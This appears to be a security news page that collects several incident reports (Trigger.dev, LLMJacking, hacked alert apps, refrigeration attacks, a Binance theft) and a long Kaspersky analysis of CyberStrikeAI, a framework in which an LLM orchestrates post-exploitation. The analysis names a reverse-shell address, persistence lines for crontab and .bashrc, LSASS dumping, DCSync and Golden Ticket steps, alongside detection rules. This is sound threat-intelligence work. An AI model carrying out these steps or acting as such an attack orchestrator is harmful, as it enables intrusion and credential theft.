Viry a Červi

If you're a customer of cloud-hosted AI workflow platform Trigger.dev, take heed, because your environment variables may have been exposed in a security incident disclosed on Sunday. Trigger offered little explanation in its Sunday security incident report, noting that its investigation had identified “exposure across a subset of organizations” and that an attacker had gained unauthorized access to environment variables belonging to those organizations. Whatever exploit was used to gain access has been blocked, the company added, and affected customers have been notified of steps they need to take to prevent further security problems. We likely don't have to tell The Reg readers how important environment variables are in SaaS and cloud services like Trigger. If compromised environment variables contain sensitive credentials, an attacker could basically end up with the keys to the kingdom, potentially gaining access to connected services and digital infrastructure. For those unfamiliar with Trigger.dev, it’s a platform for building AI agents and workflows in TypeScript, but here’s the kicker: Trigger advertises itself as a durable execution platform that handles pesky things like retries, scaling, and keeping long-running tasks going through crashes and redeployments, while providing tools to monitor what those tasks are doing. Trigger, the company’s site notes, can be used to “build durable AI agents that survive refreshes, redeploys, and crashes,” and is ideal for “long-running tasks with retries, queues, AI observability and elastic scaling.” In short, companies running their AI on Trigger probably want it to keep running, which makes stolen environment variables all the more dangerous. Elastic scaling, automated retries, and, as Trigger notes, the ability to run lots of concurrent operations without timeouts could compound the consequences of compromised API keys, depending on what those credentials allow an attacker to access. An attacker with stolen credentials could potentially interfere with a customer's connected services or workflows. Additionally, Trigger recently added webhooks to its offering, supporting services like Stripe, Supabase, and Slack, potentially expanding the range of integrations that could be affected if their credentials were exposed. This could be pretty bad for anyone affected. Trigger has some fairly high-profile customers, with companies like fashion brand Emporio Armani, Pentagon-supporting AI acquisitions platform GovSignals, SaaS calendar platform Cal.com, and others all listed on the company’s site. Trigger has not publicly identified which organizations were affected by the intrusion. We reached out to Trigger, which declined to provide any additional information on the incident. A company spokesperson instead told us to wait for a full incident report to learn more. Luckily for Trigger customers and those concerned about SaaS security now that AI is regularly coming up with new vulnerabilities in commonly used platforms, Trigger is open source and can be self-hosted, which might be a better alternative in this day and age than relying on a hosted service. ®

Victim organizations are losing millions of dollars in token charges as criminals hijack their corporate LLM access to steal expensive computing resources and AI services. These fraudulent charges from resource consumption can exceed $100,000 a day, according to a Monday report by Google's Mandiant incident responders, who saw cumulative charges at some organizations hit $1 million before the victim companies revoked intruders' access. "Whenever possible, threat actors want to use this technology to gain a scale advantage over defenders. They achieve that with agentic tools and by stealing tokens from unwitting third parties,” John Hultquist, chief analyst at Google Threat Intelligence Group, told The Register. “Locking down these resources will not only protect organizations from runaway costs, but also protect the broader community from a deluge of cheap, autonomous attacks.” This tactic of hijacking access to LLMs is called LLMJacking, and it’s been increasing steadily over the past two years. In one extreme case, documented in an August report from CrowdStrike, a token thief sent about 200,000 API requests in just two minutes. In one case detailed in the report, a group Google tracks as UNC6993 illicitly gained access to LLM API keys, then generated additional keys and enabled services within the victim’s cloud projects, racking up $100,000 in charges. The threat intel biz also documented a different token thief subscribing victim accounts to Pay-As-You-Go agreements to access advanced models on the victim company’s dime. The crook selected premium foundation models, launched high-volume inference streams, and used a “burn and rotate strategy” to bypass rate limits by creating and deleting short-lived service accounts while auditing the billing interface to monitor financial impact. In yet another incident, an intruder executed more than 500,000 LLM API calls in less than eight hours using stolen third-party API keys to power a token routing service called Jet Night, according to a Monday report from Google. “Given Jet Night’s per-token costs to users are so far below typical market rates GTIG believes the service relies on stolen keys to operate profitably,” the report says. “For example, Jet Night offers an unlimited token plan for approximately $60 USD per month with alleged access to frontier models, a consumer service level that would typically run between $100 and $250 per month.” Jet Night has also admitted to multiple outages on its public Telegram channel, which the Google threat hunters note is “likely due to stolen keys being revoked as victims discover their respective compromises.” Specialized LLMjacking roles As more criminals join the LLMJacking ecosystem, Google says it has documented a division of labor between the criminals that establish initial access to compromised cloud and AI services, and those that manage downstream monetization infrastructure, called “LLM Mixers.” In one case that Mandiant responded to in mid-2026, UNC6993 compromised a cloud instance through a misconfigured Service Account key and used this access to grant further access to a model API. The crooks also spun up a session hijacking page purporting to be an application portal to join a group of LLM users. “This page tricks users into navigating to the legitimate LLM service website, and pasting their raw JSON payload containing an active access token, which was then posted to the backend API to bypass password and multifactor authentication (MFA) controls,” the report says. Google predicts miscreants will “increasingly prioritize LLMJacking” compared to other types of resource theft like cryptojacking. And to prevent cloud LLM service abuse, the security firm says defenders should prioritize identity and access management plus supply chain security, and use a centralized secrets management platform to rotate keys and secrets. Also apply least-access privileges to users and service accounts, ensuring that they only have permissions necessary to complete their roles and tasks. And automate secrets scanning within codebases to identify and then remove any API keys and secrets added to source code. ®

Cyberattacks on both Russia’s and Ukraine’s emergency alert apps resulted in fake messages about missile and nuclear strikes broadcast to the public. Officials from both countries confirmed the attacks, which occurred at similar times, on Sunday evening. According to public statements and messages sent via social media, Ukraine’s alert app was hit first, with the country’s Air Force quick to dispel nuclear fears. "The Air Alert app has likely been compromised," it said via Telegram at around 2100 UTC. "There is no radiation threat! Stay calm, follow our messages on our channel!" At around 0030 UTC on Monday, Russia's Ministry of Emergency Situations confirmed the country’s app had also been abused, with fake messages sent to citizens' devices. "Attention! The Russian Ministry of Emergency Situations' mobile app has been subjected to a massive cyberattack, allowing attackers to send fake information to the public," it said, also via Telegram. "Work is currently underway to patch the vulnerability and restore normal operation." The ministry issued an update around 90 minutes later, saying the app was once again functioning normally, and pointing out that an attack on the app was not the same as a compromise of the state’s national alert system. "Citizens are alerted through primary channels: regional and municipal alert systems (sirens, loudspeakers), communication networks (SMS messaging), and television and radio broadcasts. The mobile app is merely an additional, supporting information service," it stated. Ukraine's Ministry of Digital Affairs also issued a public announcement reminding citizens about how to receive emergency warnings while its “Alarm!” app was down. These include enabling iOS and Android emergency alerts, state-controlled sirens, and other official sources, such as the official social media accounts of Ukraine's government. According to the messages sent to devices after the compromise of Ukraine's alert app, the fake warnings pertained to various threats, such as street fights in Kyiv, chemical attacks, and radiation hazards. Alerts about the threat of nuclear fallout from official government warning systems would normally lead to panic, however, one of the earliest messages sent to citizens was written in Russian and referenced the "Oreshnik" missile, which was an immediate signal that the message may not be genuine. Equivalent alerts sent to Russian citizens also warned of impending nuclear strikes "at all regions of Russia," referencing "P1-Sun," the name of a Ukrainian attack drone. Oleksander Merezhko, who chairs the Ukrainian parliament's foreign affairs committee and noted the suspicious Russian-language alert, told the BBC the attack was almost certainly part of Russia's cyber war. "It's a very unpleasant fact but it is part of cyber war and people in Ukraine understand that," he said. "It is possible and we are quite prepared for such possibilities." Russia has not explicitly blamed Ukraine for the attack on its app, and official sources say the app is running as normal. Ukraine's announcement of the alert app cyberattack came almost simultaneously with the official conclusion of a six-day ceasefire in Kherson. Russia agreed to the rare temporary suspension of conflict to allow hundreds of Ukrainians to evacuate the Russian-occupied city of Olehsky. Russia did not agree to a proposed extension of the ceasefire, which officially ended at around 2100 UTC – around the same time Ukrainians began receiving fake warning messages. ®

The cyberattacks on commercial refrigerators and freezers in Europe continue, as a slew of grocery stores in Belgium, Ireland, Luxembourg, and Sweden report widespread food wastage as a result of miscreants raising the temperatures to highs of 50ºC (122°F). In Belgium, around 40 Delhaize stores were affected after the attackers reportedly switched fridges and freezers into defrost mode overnight, between Sunday and Monday, resulting in stock issues. Diego Louwers, a Proxy Delhaize store manager in Overijse, near Brussels, told RTL Info that the consequences of the cyberattacks were "catastrophic," forcing the store to throw out the entirety of its fresh and frozen products. "We can't have anything worse in our line of work," he said. "We have to throw away all of our merchandise, and it's both heartbreaking and very complicated operationally." A Delhaize spokesperson said it took steps to ensure stores remain stocked, although fresh and frozen products are "temporarily somewhat limited." "On Monday, 2 November, we identified an IT incident affecting the refrigeration systems in several dozen of our stores," they said. "We immediately took the necessary measures to keep our stores operational and ensure that our customers can continue to do their shopping as usual. "In the affected stores, the range of fresh and frozen products is temporarily somewhat limited. Our distribution centres are operating normally, and there has been no disruption to deliveries to our stores. "We are, of course, continuing to ensure that our products are stored and presented under optimal conditions, so that we can provide our customers with the quality and freshness they have come to expect from us." Around 15 Carrefour stores are also reportedly affected, as are sites operated by Intermarché, Spar, and Shop & Go stores located at Q8 service stations. Belgium’s De Laet & Van Haver chain of butcher shops reported temperature rises in its appliances too, but followed up with a statement on Monday saying there was no impact on its produce, and all stores remain open. Simultaneously, similar issues have affected Swedish grocery chain ICA, which confirmed attacks on a "small number of stores." "We can confirm that we have been informed of an incident overnight affecting a small number of ICA stores operating outside ICA’s central network," a company spokesperson said. "The incident impacted the stores’ refrigeration and freezer systems. ICA is currently supporting the affected stores in managing the situation." ICA did not respond to questions about the scale of food wastage nor when normal operations are expected to continue. One store, ICA Nära in Böda on Öland, said via social media that it is open today but has no fresh or frozen produce to sell. "Unfortunately, we are one of the stores whose refrigerators and freezers have been hacked," it said. "We are open as usual, but unfortunately we have no refrigerators and freezers to sell. "We have no status on when the refrigerators and freezers are expected to be up and running again." The store manager, Mats Olsson, told SVT that he arrived to work on Monday morning and was greeted by a puddle of water and freezers set to 55 degrees C – a tale echoed by other managers across the country. Coop stores are affected by similar attacks too, with six locations in central Sweden experiencing fridge-freezer issues, according to a company spokesperson. Likewise, at least 13 SuperValue stores in Ireland are also affected, with fresh and frozen food being thrown out, according to parent company Musgrave speaking to RTE. The news comes less than a month after various grocery chains in France resorted to discarding bucketfuls of produce after their appliances were remotely defrosted by cybercrooks. Carrefour, Coopérative U, Intermarché, Monoprix, and others were hit with cyberattacks in mid-October, and hundreds of stores across the chains were reportedly impacted. At least some of the affected stores were running outdated firmware on their Danfoss refrigeration controllers, and shortly after the attacks were confirmed, CERT-FR published an alert pertaining to numerous Danfoss AK-SM and AK-SC controller compromises. Other retailers, such as Coopérative U, confirmed they were not Danfoss customers. It remains unclear if the latest attacks across Europe used the same methods as those used for the disruption in France last month. None of the companies that spoke to The Register on Monday responded to questions about who was behind the intrusions. ®

The FBI has blamed North Korean hackers for the record-breaking $6.3 billion theft from cryptocurrency exchange Binance, pointing the finger at the notorious Lazarus Group as the exchange scrambles to replace stolen funds and reassure customers. In an alert published Saturday, the agency attributed the October 29 attack to TraderTraitor, a North Korean hacking operation linked to Lazarus, which has made a lucrative career out of relieving crypto exchanges of their digital assets. Pyongyang was already in the frame before the FBI weighed in. Blockchain intelligence firms TRM Labs and Elliptic had linked the theft to North Korea, with TRM reporting that most of the $6.36 billion haul disappeared in about 20 minutes. Elliptic, which puts the total closer to $6.43 billion, says it has verified that $2.85 billion of the stolen assets have been frozen or seized. According to the FBI, the hackers have started swapping their loot for Ethereum, with investigators expecting them to move the funds through decentralized finance (DeFi) platforms and instant swap services to make the money harder to trace. The agency has published a list of cryptocurrency wallet addresses linked to the theft and is urging exchanges, blockchain analytics firms, and other virtual asset providers to block transactions involving the stolen funds. The FBI's attribution comes days after Binance admitted that hackers had made off with roughly $6.3 billion in cryptocurrency. According to the exchange, the trouble started with a compromised DevOps engineer's laptop, which gave the intruders access to a service container and allowed them to authorize withdrawals they had no business making. Binance has since resumed customer withdrawals, which it suspended after the attack, and says it has now replenished about 95 percent of the stolen assets. The remaining tokens are proving harder to replace because of their limited liquidity. The exchange has committed billions of dollars from its own reserves and emergency funds to cover the losses, with co-CEO Richard Teng promising that customers won't be left footing the bill. That hasn't stopped users from heading for the exits. Binance recorded approximately $3.64 billion in net outflows after withdrawals resumed, although the company said this represented only around 2.1 percent of its reported assets. Replacing the stolen cryptocurrency is one thing. Getting it back from North Korea is another, and investigators face the considerable task of tracking billions of dollars as the hackers attempt to move it beyond their reach. TraderTraitor has form when it comes to raiding crypto exchanges. The North Korean crew has previously been linked to a string of cryptocurrency thefts, including the $308 million attack on Japan's DMM Bitcoin exchange in 2024. The group has previously used fake job offers and recruitment exercises to trick employees into handing over access to their employers' systems. As we reported here on Friday, crypto exchange Bitget has now confirmed that the cyberattack where hackers drained $387.5 million worth of digital assets from the exchange’s wallets also has all the hallmarks of a North Korean operation. Its CEO did not go into too much detail, but did say that “IP behavioral patterns and on-chain signatures” suggest it was Kim’s cronies at work. This isn’t Binance's first expensive encounter with hackers, either. Back in 2022, attackers exploited its BNB blockchain bridge and made off with roughly $566 million in tokens. Four years later, the sums have grown considerably. Binance may have the reserves to make its customers whole, but the attackers responsible for the latest raid still have billions of dollars to launder. ®

Introduction

As part of proactive threat monitoring, Kaspersky’s Cyber Threat Intelligence team identified a malicious campaign involving C2 agents controlled by artificial intelligence. Confirmed victims of the campaign included organizations in the education sector in several countries across Africa and Latin America. CyberStrikeAI played a key role in the post-exploitation phase. This is an open-source framework in which an LLM orchestrator on the command-and-control server plans actions, selects tools, and generates commands, while an implant executes them on compromised hosts. Using CyberStrikeAI, the attackers progressed from reconnaissance to full domain compromise.

According to our data, this is one of the first public descriptions of a compromise involving an LLM in the wild. The campaign we discovered clearly illustrates how the role of AI in attackers’ arsenals is evolving: until recently, language models were used primarily during preparatory stages – for writing phishing emails, debugging code, or searching for vulnerabilities. Now, however, they are being embedded into the very core of the attack, automating actions at every stage: payload execution, persistence on the host, discovery, lateral movement, and, finally, data collection and exfiltration. Post-exploitation – the stage that traditionally required manual work by an experienced operator – plays a particularly significant role here.

A key feature of the scheme using the CyberStrikeAI framework is that the implant ceases to be a simple tool for executing the operator’s commands. Decisions are distributed across two levels: the operator defines the task in general terms, while the model determines how to execute it – specifically, which commands to send to the host and in what sequence. Thus, the strategic planning remains with the human, while the choice of technical steps is delegated to the model, and the implant executes the model’s decisions.

To understand how this scheme works in practice, let’s examine the chain of actions taken by the attackers, as reconstructed by our analysts during the incident investigation.

Timeline of the attack

Let’s examine the timeline of the attack using an example from one incident within the detected campaign.

The first phase follows a standard approach: a human operator gains access to the victim’s infrastructure via a compromised SQL Server (version 16.0.1000), then collects basic information about the host, deploys tools, and conducts network reconnaissance. All of this activity takes nearly a day, followed by a two-week pause.

The second phase is fundamentally different. The first step involves deploying the CyberStrikeAI C2 agent, which receives commands from a server-based LLM orchestrator. During the second phase, the agent performs the following:

• establishing persistence and conducting local reconnaissance within 2 minutes;
• conducting domain reconnaissance over the next 5 hours;
• after a brief pause of several days, moving on to the final stage – lateral movement via SMB and WMI, mass credential dumping on hosts, and database export – with the entire operation taking no more than one hour.

We’ll discuss these stages in more detail in the next section.

Technical details CyberStrikeAI overview

CyberStrikeAI is an open-source, modular platform written in Go for automating penetration testing. Its key feature is combining LLM-based attack orchestration and a built-in C2 server with agents (beacons) within a single server process.

The entire “intelligent” layer is isolated on the control server. C2 functions (calling reconnaissance and exploitation utilities, managing webshell connections, assigning tasks to agents, and reading results) are available to the model as MCP tools. The implant is a classic C2 agent with no AI functionality – no API keys, no calls to AI service APIs, and no autonomous logic. It periodically polls the listener server via HTTP/S, TCP, or WebSocket, executes shell commands, and interacts with the file system. To the victim, this activity looks like a typical remote-control session, where a server-side LLM orchestrator queues tasks instead of a live operator. The LLM influences how decisions are made, but not how the corresponding commands are delivered to the host.

Although CyberStrikeAI is publicly available, specific instances of the framework can be linked to specific attackers or campaigns. Detection and attribution are possible based on the following artifacts:

• Control panel: Upon launch, a self-signed TLS certificate is generated, with the framework’s name appearing in the issuer and subject fields. The certificate is created in memory at each startup, so the not_before field effectively records the time the process was launched. Accordingly, as with Cobalt Strike, the chronology of restarts can be reconstructed from the scan history.

  CyberStrikeAI control panel’s self-signed TLS certificate

• Implant: The build metadata (go version -m) contains a path to the main package, which includes data pointing to the built-in CyberStrikeAI generator – a temporary directory with the build identifier. This path is identical for all payloads, making it a reliable signature. Additionally, the build info field contains version control system metadata, which can be used to compare samples against one another.
• Authentication: When communicating with the server, the implant sends an X-Implant-Token header with a fixed value in the HTTP request. The token is unique to each C2 server and is embedded into the malicious payload during the build phase; therefore, it serves as both a network indicator and a sign that the samples belong to the same server.

HTTP header parameters sent by the implant to the server

It should be noted that the implant version does not reflect the server version. The implant can operate for months while the operator updates the server-side components: listener configurations and keys are preserved during updates. In the incidents we detected, we observed the use of a single agent version throughout the entire incident. In such cases, the sample’s build date may indicate the earliest possible deployment date of the CyberStrikeAI infrastructure, but it still does not provide an estimate of the compromise duration.

Execution & Privilege Escalation

The first malicious commands on the victims’ systems in the campaign under investigation originated from the sqlservr.exe process, indicating the likely initial access vector and the context in which the attackers gained the ability to execute code. It is important to note that the commands marked as having been executed prior to agent installation were executed manually by the attacker specifically within the context of this process. At this stage, we are not yet dealing with automated implant activity, but rather with manual actions by the operator.

Before launching the agent on the machines, the attackers checked for its presence using a PowerShell script, from which we can deduce its default deployment paths: C:\Windows\Temp\, C:\Windows\, C:\ProgramData\, C:\Temp. At the same time, the attacker can disguise the agent’s name as that of a legitimate system process. In the example below, it mimics svchost.exe (svchosts.exe)

Checking for the presence of the CyberStrikeAI agent on the system

Delivery and execution of the CyberStrikeAI agent

Like most C2 agents for Windows, CyberStrikeAI uses PowerShell to execute its payload. When a request is received from the operator, the commands to be executed are additionally encoded in Base64 to bypass keyword-based detection.

Decoded form of the command:

When administrative privileges were available (for example, a domain administrator account), instead of executing commands directly, the agent on remote hosts often created scheduled tasks so that the malicious payload would run with SYSTEM privileges:

An alternative method that does not use schtasks utility is to create a task via the Schedule.Service COM object:

The payload (p1.ps1) from the example above is a reverse shell that connects to the server at 185.186.245[.]144:5501:

The p1.ps1 payload and similar scripts were distributed across the network using shared network administrative folders and the WMI protocol, which we will describe in more detail in the Lateral Movement section.

Stealth

In addition to encoding commands in Base64 and obfuscating SQL/LDAP queries – which we will describe in the Collection & Exfiltration and Discovery sections, respectively – the attackers split the malicious payload into multiple files. It is noteworthy that the scripts were transmitted in this manner even before the agent was installed – that is, at a stage where human intervention is typically required – yet they clearly bear the hallmarks of being generated by an LLM.

Below is a sequential record of several script fragments written to the file d3.b64.

Subsequently, the attackers used the certutil utility to decode the resulting file and executed it with the following command:

Once assembled and decoded, the script’s contents looked like this:

The script is a tool for decrypting DPAPI secrets from the file C:\ProgramData\dsn_line.txt. This file, in turn, is populated by the following command, which searches for a DSN string containing connection settings in the SQL Server Reporting Services configuration file rsreportserver.config and copies its contents to dsn_line.txt.

It is worth noting that some of the scripts delivered and executed as described above contain comments in Chinese (##  –  researcher’s comments).

Persistence

If the CyberStrikeAI implant was successfully delivered, the first step was to establish persistence on the target system. To do this, the agent created a scheduled task named SystemUpdate, which specified the path to the implant as the action to be performed:

Analysis of the framework’s source code revealed an alternative method of persistence: by adding a value to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run, where the name of the created value matches the task name (SystemUpdate).

Agent persistence on Linux systems is also implemented in two ways – by adding the entry @reboot <path_to_beacon> & to the user’s crontab (in which case the process runs at system startup), or by adding the line (nohup <path_to_beacon> &>/dev/null &) to ~/.bashrc (in which case the agent starts when an interactive bash shell is opened).

It is worth noting that the choice of a specific persistence method is delegated to the LLM connected to CyberStrikeAI. However, thanks to the human-in-the-loop (HITL) mechanism, the operator retains full control over the process: commands generated by the model may require manual approval or correction before they are executed.

Discovery Local Discovery

Before installing the agent on a compromised host, the attackers manually gathered basic system information using a fairly trivial set of commands:

The attackers also manually checked for internet access and obtained the external IP addresses of the compromised machines using the Chinese service dnslog[.]cn. The service generates a random third-level domain, after which the attackers attempt to resolve it on the compromised machine.

If the machine has internet access, the request succeeds, and the attackers obtain the external IP address of the compromised device on the service’s page.

For reconnaissance purposes, the agent generates a more complex script designed to map out a path for further privilege escalation by compromising SCCM or exploiting msiexec (the AlwaysInstallElevated key):

Additionally, to find ways to elevate privileges locally, the agent executed scripts to inventory services running under domain accounts and tasks running under the SYSTEM account:

During their activity, the attackers periodically checked for Microsoft Defender detections:

Remote Discovery

After gathering information about the compromised host, the attackers proceeded to conduct reconnaissance within the network. During the preparatory phase of the attack, they manually collected additional information about remote hosts using the net.exe utility.

During the main phase, the agent used PowerShell’s built-in functionality to detect accessible hosts without relying on additional utilities (such as nmap or fscan):

Additionally, relevant LDAP queries to Active Directory objects helped build a network map:

Furthermore, the presence of the installed agent on remote hosts was verified using WMI:

Domain Discovery

The next step was to gather information about the victims’ domains. To this end, before installing the agent, the attackers used standard OS utilities:

However, later on, using the CyberStrikeAI implant, reconnaissance was carried out via generated PowerShell scripts:

In addition to basic domain information, the agent performed LDAP queries to gather information for Kerberoasting and AS-REP Roasting attacks:

Finally, the agent was used to check the domain for the presence of LAPS and Microsoft Azure:

To detect signs of Microsoft Azure usage within the infrastructure, the attackers also searched for the .azcopy directory – created by the AzCopy (Microsoft Azure Storage Copy) utility – in users’ home directories:

Credential Access

After successfully conducting reconnaissance and mapping the network, the attackers moved on to the next stage – dumping credentials. For this purpose, the agent used a classic set of LOLBINs and well-known third-party tools.

The agent dumped registry hives containing credentials using the reg.exe utility:

The agent dumped the lsass.exe process using the MiniDump function of the comsvcs.dll library. In doing so, the target process’s PID was used instead of its name to make static detection based on the command line more difficult:

After successfully compromising privileged domain accounts (specifically, the built-in domain administrator), the attackers also carried out DCSync and Golden Ticket attacks via the agent using a renamed version of the mimikatz utility:

Lateral Movement

To spread across the network using compromised accounts, the attackers employed utilities from the Impacket toolkit, specifically WMIExec, as indicated by the utility’s characteristic command line:

Once installed, the agent prefers to use standard OS mechanisms, such as shared network folders.

Another method the agent uses to remotely execute commands is the WMI protocol. In particular, the agent used it to distribute the aforementioned p1.ps1 reverse shell script. This involved using compromised user accounts with local administrator privileges on the target hosts:

A second method of lateral movement via WMI uses the Invoke-CimMethod cmdlet:

Command & Control

To deliver the aforementioned tools (malicious scripts, mimikatz, and the agent itself) to the initial nodes in the infection chain, the attackers used standard OS utilities:

After the agent is installed, it checks the availability of the C2 server’s ports. The implementation mechanisms here are virtually unlimited and depend on the “creativity” of the respective LLM agents connected to the server:

To download additional utilities, the CyberStrikeAI implant also used built-in utilities (LOLBINs). The tools could be hosted on the attackers’ own servers or downloaded directly from GitHub:

Collection & Exfiltration

The data collection phase deserves special attention. It demonstrates yet another capability of LLM orchestration – the automatic generation of SQL and LDAP queries tailored to a specific task.

In one incident during the campaign, the attackers deployed the CyberStrikeAI implant on an educational organization’s SQL server and collected information from the database via PowerShell. Here is an example of a command executed by the agent:

Normalized view of the executed script with comments:

Before accessing the data, the agent checked the privileges of the account under which it connected to the database:

In decoded form, the check looks as follows:

On network resources, file collection was preceded by a recursive directory scan to identify files of interest.

To interact with the file system, the implant provides a built-in interface that supports direct uploading and downloading of files. Files are transferred directly via the main encrypted communication channel with the C2 server (HTTP or TCP), and the data itself is encoded in Base64 and packaged into the agent’s standard JSON responses.

Another built-in capability of the implant is taking screenshots of the infected machine. As with other actions, the implant does not initiate this on its own: the command to capture the screen is issued by the LLM orchestrator, and the agent merely executes it and returns the result via the same control channel.

On Windows, the command for taking screenshots looks like this:

The Linux version looks like this:

In the incidents we detected, data collection was the final stage of the attack: the chain ended there, and we observed no further activity.

Attribution

The key artifact for attribution in this campaign is the implant’s build metadata. The attackers built the malicious payload inside a Git clone of the project, so the Go compiler embedded version control system information into the binary files – the hash and commit time, as well as the vcs.modified=true flag (analogous to the +dirty suffix) – indicating uncommitted local changes in the working copy. The combination of these fields forms a unique fingerprint for a specific build.

Based on this fingerprint, the samples are divided into two independent groups, in each of which the Windows implant and the Linux implant have completely identical build metadata. A match indicates that, within each group, both payloads were built from the same project working copy.

Identical build metadata for the Windows and Linux implant samples, indicating a shared build environment

However, these groups do not overlap with one another. They do not share a common C2 infrastructure, and different versions of CyberStrikeAI are deployed on the command-and-control servers. In other words, the build metadata reliably links the samples within each group but does not provide grounds for linking the two groups together.

Differences in CyberStrikeAI versions on the command-and-control servers

The available data does not allow us to link the activity to any known group of attackers, nor to state with certainty that the same operator is behind both campaigns. Two factors prevent this. First, the tool’s openness: CyberStrikeAI is publicly available, so different operators could have independently deployed it and assembled malicious payloads under similar conditions. Second, command generation by the model: the “signature” characteristic of a specific operator is largely shaped not by a human but by an LLM. On the one hand, this increases the diversity of commands: the same command, when generated multiple times, can look different. On the other hand, it strips them of their individual characteristics, which reduces the value of behavioral metrics for attribution.

However, the Chinese-language comments found in the attackers’ scripts and the use of Chinese services still suggest a connection between the activity and a Chinese-speaking operator. In addition, analysts noted the timing of the control servers’ restarts: since the self-signed TLS certificate is regenerated each time the process starts, its not_before field records the restart time, and most of these restarts occurred during business hours in the UTC+8 time zone.

The origin of the tool itself also indirectly points in the same direction: CyberStrikeAI was developed within the Chinese cybersecurity community and is well known there.

In summary

CyberStrikeAI is a telling – though not unique – example of a shift occurring within the class of C2 frameworks: the LLM orchestrator is no longer merely an add-on to reconnaissance but has become a control layer over post-exploitation. If HexStrike AI and similar tools cover the “find and break” phase, and Sliver/Mythic/Havoc cover the “establish a foothold and control” phase, CyberStrikeAI completes the kill chain: a single server-side process written in Go executes utilities via MCP, handles webshell connections, and assigns tasks to the implant, while the model analyzes the results and decides what to do next.

The key takeaway is that the introduction of AI into the attack chain does not yet present fundamentally new challenges for detection. All the “intelligent” work remains on the attacker’s side, while the compromised host is subjected to familiar actions: from reconnaissance via Kerberoasting and AS-REP Roasting to LSASS dumps, DCSync, and the Golden Ticket attacks. This is a typical, well-documented set of domain compromise techniques. The novelty of the attack lies not in the methods themselves, but in the speed and ease with which they were executed: AI orchestration has lowered the skill requirements for the operator, but has not taken the attack beyond what defenders already know and are capable of detecting. The timing is also telling: individual key phases of the activity (such as establishing a foothold, lateral movement, and obtaining credentials) took only a few hours, and the entire attack – from agent deployment to the compromise of domain administrators – was completed within 3–4 days.

However, the CyberStrikeAI architecture does not limit users to the scenario described. The same mechanisms allow for the on-demand assembly of more complex chains – including DPAPI secret extraction and attacks on SCCM and Azure IMDS – all of which are within reach of the same group of actors, with a relatively low skill barrier. As the models evolve, the gap between the complexity of orchestration and the level of techniques used will narrow, and the operator’s role will gradually shift from setting tasks to monitoring the model’s actions.

Detection by Kaspersky solutions

It may seem that attacks using AI agents require the creation of fundamentally new detection rules. Indeed, to detect the activity of an LLM agent installed on a host within the infrastructure, it is necessary to create detection logic based on the specific characteristics of the agents. Detection rules for this activity can be found using Hunt Hub with the following filter.

However, in the case of the attack described, a different logic applies. The main difference lies in the architecture of the attack itself: the LLM agent was not located within the corporate network perimeter. It operated remotely via a C2 agent, orchestrating actions, and left no traces of its presence in the infrastructure (such as specific API requests to local LLMs or anomalous patterns of resource consumption by hosts).

The key difference between this activity and an attack by an experienced human operator lies largely in speed. Tactically, technically, and methodologically, AI, for the most part, uses exactly the same tools, utilities, and techniques as a human penetration tester. It does not write unique exploits from scratch, but rather combines known methods and dynamically adapts them to the situation, handling the tools’ errors on its own.

Since the actions performed by an AI agent on the network are indistinguishable from those of a human, classic, well-tuned correlation and behavioral analysis rules are sufficient to detect it. Here are a few examples of how Kaspersky Next EDR Expert successfully detects the attack described:

• To detect the execution of a malicious script via a remote scheduled task, you need to monitor the creation of the schtasks.exe process with the /s argument. EDR Expert detects this activity using the rules create_task_on_remote_host_using_standard_tool, scheduled_task_creation_as_system_via_schtasks, and scheduled_task_with_powershell_execution.
  
• During the attack, the adversary will need access to the victim’s credentials; in the described case, one way to obtain them was through a well-known technique that uses legitimate tools to dump LSASS, specifically by calling the MiniDump function from comsvcs.dll. The EDR Expert solution detects this activity using the rules dumping_memory_with_com_services_dll and suspicious_lsass_memory_access.
  
• A significant part of the attack chain is lateral movement, which helps the attacker navigate within the infrastructure and achieve their desired objectives. In the described case, the WinRM protocol is used to initiate connections directly from PowerShell. This is a standard technique that allows the attacker to execute commands on remote machines without using additional network tunnels. The EDR Expert solution detects this activity using the rules using_powershell_for_remote_execution_via_wmi and winrm_send_command.
  

Kaspersky Anti Targeted Attack (KATA) is used to detect malicious activity in network traffic. Communication between CyberStrikeAI agents and the command-and-control server occurs without accessing AI platforms such as ChatGPT or Claude. Instead, the agent’s C2 server is an infrastructure pre-configured by the attackers, just as in attacks that do not use AI agents. Analysis of decrypted network traffic using NDR-class solutions reveals characteristic communication patterns of CyberStrikeAI agent activity. When these patterns are detected, KATA generates an alert with the verdict Backdoor.CyberStrikeAI.HTTP.C&C.

Alert regarding the detection of CyberStrikeAI communication with a C2 server

To detect post-exploitation activity, you can use not only IDS technology but also NAD (Network Anomaly Detection). It analyzes all traffic for suspicious indicators that do not correspond to a node’s typical network activity.

For example, actions performed by CyberStrikeAI during the Domain Discovery phase are detected by an NDR:NAD rule named “Scanning domain records via LDAP queries.”

NDR:NAD alert: reconnaissance via LDAP queries detected

You can learn more about NDR:NAD technology in our article on Securelist.

You can also visualize the connections between C2 addresses and files used by attackers in the Research Graph section of the Kaspersky Threat Intelligence Portal. This includes tracking the emergence of new CyberStrikeAI implants that communicate with malicious addresses.

Visualization via the Research Graph on the Kaspersky Threat Intelligence Portal

In addition, the Threat Lookup service available on the portal allows you to determine whether malicious files belong to CyberStrikeAI using attribution mechanisms based on the executable file’s code.

Demonstration of attributing a malicious implant to the CyberStrikeAI framework

Kaspersky SIEM detects all stages of an attack by the CyberStrikeAI agent. The product repository contains over 100 rules for detecting the techniques discussed in this article; we will list the most critical ones below.

Execution of various commands from the sqlservr.exe process:

• R300_04_Windows shell started by a web application

Downloading and executing a payload via PowerShell:

• R110_03_PowerShell code downloaded and executed

Creating Windows scheduled tasks:

• R099_04_Suspicious arguments when running schtasks.exe
• R300_03_Windows shell started by the scheduler

Persisting via crontab or bashrc:

• R099_06_Suspicious cron job activity
• R405_02_UNIX shell configuration modification

Rules located at the KUMA Packages/SOC package/Configuration discovery path detect the collection of information about hosts, network settings, and domains using various reconnaissance tools. Rules that aggregate detections by reconnaissance tools:

• R224_14_Windows reconnaissance activity
• R224_09_System information discovery by running multiple utilities within a short period
• R224_04_System information discovery via standard Linux tools

Data collection for Kerberoasting and AS-REP Roasting:

• R034_01_Multiple TGS ticket requests (Kerberoasting)
• R452_18_AS-REP Roasting

Dumping registry hives containing credentials using the reg.exe utility:

• R230_02_Copying data containing credentials from the Windows registry

Dumping the lsass.exe process using the MiniDump function of the comsvcs.dll library:

• R233_04_Process memory dump via comsvcs.dll
• R262_Suspicious access to the LSASS process

DCSync and Golden Ticket attacks using the renamed mimikatz utility:

• R073_DC Sync attack
